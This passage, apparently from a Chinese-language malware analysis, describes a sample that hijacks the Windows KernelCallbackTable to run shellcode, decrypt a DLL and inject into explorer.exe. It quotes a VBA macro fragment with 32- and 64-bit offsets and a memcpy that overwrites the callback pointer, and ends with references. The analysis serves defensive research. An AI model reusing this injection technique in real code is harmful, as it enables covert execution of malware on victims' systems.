形调用 (GDI) 时都会使用这些回调函数,而在本例子中64位被劫持 fnDWORDOPTINLPMSG 函数,32位被劫持 fnDWORD 函数恶意的shellcode就会运行 shellcode会解密加密的dll 然后将其运行 加密的dll会将 KernelCallbackTable 恢复到原始状态 再会执行shellcode注入到explorer.exe的操作 #If Win64 Then WMPlaybackRadd = 8 KCT_Offset = &H58 wmorder = &H10         '__fnDWORDOPTINLPMSG WMVSDecpro = Play_Encd #Else WMPlaybackRadd = 4 KCT_Offset = &H2C     'KernelCallbackTable Offset wmorder = &H8         '__fnDWORD WMVSDecpro = Play_Encd_Dcd #End If ... wmflash = KernelCallbackTable + wmorder ... memcpy ByVal (wmflash), (WMCreateFileSink), WMPlaybackRadd References https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationpr ocess https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/pebteb/peb/index.htm https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-def eating-traps-tricks-and-complex-virtual-machines/ https://bbs.pediy.com/thread-261553.htm
pdf